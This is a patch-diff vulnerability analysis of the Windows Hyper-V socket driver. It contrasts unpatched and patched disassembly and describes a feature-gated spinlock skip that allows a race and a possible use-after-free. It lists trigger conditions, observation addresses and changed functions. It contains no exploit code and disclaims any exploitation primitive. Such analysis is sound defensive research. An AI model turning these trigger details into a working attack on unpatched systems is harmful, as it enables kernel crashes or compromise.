&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;save&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IRQL&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C8B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;end&lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unlocked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;je&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;taken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C92&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;end&lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unlocked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;je&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;taken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C9A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C9D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C0006CB3&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C9F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006CA3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006CB5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;third&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;release&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The subsequent reference-count drop / free block operates on &lt;code&gt;rbp&lt;/code&gt; and &lt;code&gt;rsi&lt;/code&gt; after the fast mutex and (conditional) spinlock are released — the same code exists in the patched build:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006D6A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;decrement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006D88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;50&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006D94&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CFG&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;indirect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006DF1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExFreePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;fre&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;Vnpi&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x69706E56&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (&lt;code&gt;0x1C00068B0&lt;/code&gt;)&lt;/strong&gt; — the gate is gone; the spinlock is acquired unconditionally before touching &lt;code&gt;rbx+0x2b8&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;48&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SpinLock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditional&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;under&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00068FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="n"&gt;B8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;under&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006918&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000691E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditional&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Gate helper &lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;0x1C0001D78&lt;/code&gt;, unpatched only)&lt;/strong&gt; — confirms this is a feature-staging check, not a runtime state variable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001D7C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reg_FeatureDescriptors_a&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001D83&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateFeature&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001D88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;reg_FeatureDescriptors_a&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001D8F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001D93&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001D96&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;setnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;returns&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cached_state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Environment:&lt;/strong&gt; A system with Hyper-V sockets loaded (&lt;code&gt;hvsocket.sys&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature state:&lt;/strong&gt; The WIL feature checked by &lt;code&gt;EvaluateCurrentState&lt;/code&gt; must resolve to the disabled state so the lock-skipping path is taken. This is governed by servicing/feature configuration, not by the attacker.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Loopback connection:&lt;/strong&gt; Establish an &lt;code&gt;AF_HYPERV&lt;/code&gt; loopback (same-partition) connection, creating the VMBus TL loopback endpoint.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concurrency:&lt;/strong&gt; Issue disconnect (&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;) concurrently with send/notify (&lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt;, &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt;) on the same endpoint. Because the disconnect/send/notify paths skip the spinlock while &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; / &lt;code&gt;VmbusTlLoopbackSetEndpointDeliveryQueue&lt;/code&gt; hold it, the read/clear/reference of the endpoint pointer and its reference count are not mutually exclusive.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6. Impact&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Demonstrable change:&lt;/strong&gt; The spinlock at &lt;code&gt;object+0x48&lt;/code&gt; that guards the loopback endpoint pointer at &lt;code&gt;object+0x2b8&lt;/code&gt; is made unconditional; the feature gate and the feature-descriptor table that enabled the lock-skipping path are removed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Realistic consequence:&lt;/strong&gt; When the lock-skipping path was active, the endpoint pointer and reference count could be manipulated concurrently with the spinlock-holding reference/set paths. The plausible outcome is an inconsistent reference count on the &lt;code&gt;'Vnpi'&lt;/code&gt; NonPagedPool connection/endpoint object, which can lead to a premature reference drop and use-after-free of that object. The object is dereferenced afterward for a reference-count decrement (&lt;code&gt;lock xadd&lt;/code&gt;), a CFG-checked cleanup callback, and &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not demonstrated by the binaries:&lt;/strong&gt; A concrete arbitrary-read/write primitive, function-pointer hijack (the callback dereference is a CFG-guarded indirect call), pool-spray reclamation layout, or code-execution chain. Those are not evidenced here and are not claimed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. Observability Notes (unpatched target)&lt;/h3&gt;
&lt;p&gt;The race window is between the unlocked read of the endpoint pointer at &lt;code&gt;0x1C0006C8B&lt;/code&gt; and the later reference-count drop of that object. Useful observation points on the unpatched build:
- &lt;code&gt;0x1C0006C6F&lt;/code&gt; — &lt;code&gt;call EvaluateCurrentState&lt;/code&gt;; if the return value in &lt;code&gt;eax&lt;/code&gt; is zero, the spinlock is skipped (unlocked path).
- &lt;code&gt;0x1C0006C8B&lt;/code&gt; — &lt;code&gt;mov rsi, [rbx+2B8h]&lt;/code&gt;; the endpoint pointer read, unlocked when arriving via the &lt;code&gt;je&lt;/code&gt; at &lt;code&gt;0x1C0006C76&lt;/code&gt;.
- &lt;code&gt;0x1C0006D6A&lt;/code&gt; — &lt;code&gt;lock xadd [rbp+8], rax&lt;/code&gt;; reference-count decrement on the connection object.
Racing partner: &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (&lt;code&gt;0x1C00065EC&lt;/code&gt;), which likewise consults &lt;code&gt;EvaluateCurrentState&lt;/code&gt; before referencing the same endpoint. Instability of the endpoint reference count under concurrent disconnect/send on the same loopback endpoint (when the feature is disabled) is the observable symptom; a bad reference count typically surfaces as a &lt;code&gt;RtlFailFast&lt;/code&gt; (&lt;code&gt;int 29h&lt;/code&gt;) reference-count assertion or a pool bugcheck.&lt;/p&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;p&gt;All nine functions below drop one or more &lt;code&gt;EvaluateCurrentState&lt;/code&gt; gates; the patched build contains zero calls to that helper. The two functions whose change is literally "the &lt;code&gt;KeAcquireSpinLockRaiseToDpc&lt;/code&gt; at &lt;code&gt;object+0x48&lt;/code&gt; becomes unconditional" are &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; and &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt;; the others remove the gate around a fast mutex (&lt;code&gt;object+0x10&lt;/code&gt;) or around the delivery-queue reference/set helpers, which themselves lock &lt;code&gt;object+0x48&lt;/code&gt; unconditionally.
- &lt;strong&gt;&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C0006C30&lt;/code&gt; → patched &lt;code&gt;0x1C00068B0&lt;/code&gt;, Sim 0.9128): conditional spinlock at &lt;code&gt;+0x48&lt;/code&gt; removed; endpoint pointer at &lt;code&gt;+0x2b8&lt;/code&gt; now read/cleared under an unconditional spinlock.
- &lt;strong&gt;&lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C00065EC&lt;/code&gt; → patched &lt;code&gt;0x1C00062A4&lt;/code&gt;, Sim 0.8832): gate removed; &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; (the spinlock-protected endpoint-reference helper) is now always called instead of the unlocked &lt;code&gt;[arg1+0x2b8]&lt;/code&gt; fast path.
- &lt;strong&gt;&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C0006F50&lt;/code&gt; → patched &lt;code&gt;0x1C0006BB0&lt;/code&gt;, Sim 0.8389): the &lt;code&gt;!EvaluateCurrentState()&lt;/code&gt; fallback that took the spinlock directly is removed; only the delivery-queue-reference path remains.
- &lt;strong&gt;&lt;code&gt;VmbusTlNotifyListenerAccept&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C0005F18&lt;/code&gt; → patched &lt;code&gt;0x1C0005C68&lt;/code&gt;, Sim 0.8043): the &lt;code&gt;if (EvaluateCurrentState())&lt;/code&gt; wrapper around the endpoint-reference / connect-dispatch path is removed; that path now runs unconditionally.
- &lt;strong&gt;&lt;code&gt;VmbusTlLoopbackSetupConnection&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C001B1D0&lt;/code&gt; → patched &lt;code&gt;0x1C001B100&lt;/code&gt;, Sim 0.4819): gate removed; the critical-region / fast-mutex release path around loopback endpoint setup is now unconditional (the non-feature &lt;code&gt;[arg2+0x2b8]=0&lt;/code&gt; branch dropped). Larger rewrite / signature change.
